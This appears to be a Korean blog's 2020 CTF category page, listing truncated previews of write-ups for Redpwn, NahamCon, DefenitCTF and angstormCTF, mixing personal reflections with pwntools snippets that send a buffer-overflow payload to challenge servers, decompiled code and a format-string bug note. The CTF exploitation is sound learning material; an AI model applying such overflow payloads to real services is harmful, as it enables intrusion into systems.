CTF/2020

    Redpwn CTF

    작년에 재미있게 했던 기억이 있어서 올해에도 빠지지 않고 참여했습니다. 기말시험이나 BoB최종 발표랑 겹쳐서 많이 투자하지는 못했지만 올해도 재밌었습니다. 특히, 작년에 비해 서버가 괜찮았습니다. 작년에는 펑펑 터지던거로 기억하고있어서... 내년에는 좀 더 높은 등수를 노릴 수 있도록 더욱 노력하겠습니다. SOLVED Pwnable coffer-overflow-0 from pwn import * p=remote("2020.redpwnc.tf", 31199) py = 'A'*28 p.sendlineafter("with?",py) p.interactive() coffer-overflow-1 from pwn import * p=remote("2020.redpwnc.tf",31255) py = '' py = '..

    NahamCon CTF

    거의 끝나기 직전에? 참여해서 포너블 2문제 정도 풀었다. 문제수도 많고 너무 어려운 정도도 아니여서 좀더 빨리 알았으면.... SOLVED Binary Exploitation Dangerous signed __int64 __usercall main@(char **a1@, char **a2@, __int64 a3@) { __int64 v3; // rax signed __int64 result; // rax signed __int64 v5; // [rsp-218h] [rbp-218h] signed __int64 v6; // [rsp-210h] [rbp-210h] signed __int64 v7; // [rsp-208h] [rbp-208h] signed __int64 v8; // [rsp-200h] [rbp..

    DefenitCTF 후기

    저희 동아리는 최종적으로 71등을 달성하였습니다. (초반에 10등 찍고 못내려온게 아쉽)개인적으로 많이 아쉬운 CTF였습니다. 각 잡고 준비도 하고 3일 연속으로 진행하고싶었지만 bob준비나 ccit 과제나 여러 가지 겹쳐서 그러지도 못하고 진행 동안에도 중요한 약속으로 첫날 밖에 진행 못한점이 많이 아쉬웠습니다....그래도 저희 동아리 신입생이나 CTF를 경험해보지 못한 친구들이 값진 경험을 했다고 생각하고 저 또한 첫날은 시간 가는지 모르고 재밌게 진행했던것 같습니다. 올해 이런 멋진 대회 열어주신 데피닛 + 관계자분들 정말 수고하셨습니다! , 내년에도 열어주시면 Pwnable문제 올클 할정도로 성장해보이겠습니다!

    angstormCTF library_in_c (64bit fsb)

    64bit fsb를 공부한 후 다시 풀어보았다. 다시 보니까 작은 부분에서 실수해버려서 flag를 못 얻고 있었다... 공부해보니 엄청 쉬운 문제... Writeup File information Code Main int __cdecl main(int argc, const char **argv, const char **envp) { __gid_t rgid; // ST0C_4 char s; // [rsp+10h] [rbp-90h] char format; // [rsp+50h] [rbp-50h] unsigned __int64 v7; // [rsp+98h] [rbp-8h] ​ v7 = __readfsqword(0x28u); setvbuf(_bss_start, 0LL, 2, 0LL); rgid = getegid..

    angstormCTF 2020

    토/일 요일에는 최대한 잡고 월요일에는 못 풀던 문제를 조금 건들면서 진행했다. 여러모로 많이 부족한것을 느꼈다. 점 점 증진해야겠다. SOLVED MISC ws1 hxd로 문제 파일 열면 ctf가 그대로 박혀있다. shifter nc에 접속하면 무작위 문자열과 n 값 하나를 주는데 n을 피보나치수열로 바꾸고 값만큼 문자열을 이동하면 된다. 재귀 함수로는 40부터 시간제한에 걸려서 40~49까지 구한 값을 직접 넣어주었다. from pwn import * context.log_level = 'debug' p=remote("misc.2020.chall.actf.co",20300) ​ def caesar(s,n): s=list(s) for i in range(len(s)): if s[i].isupper():..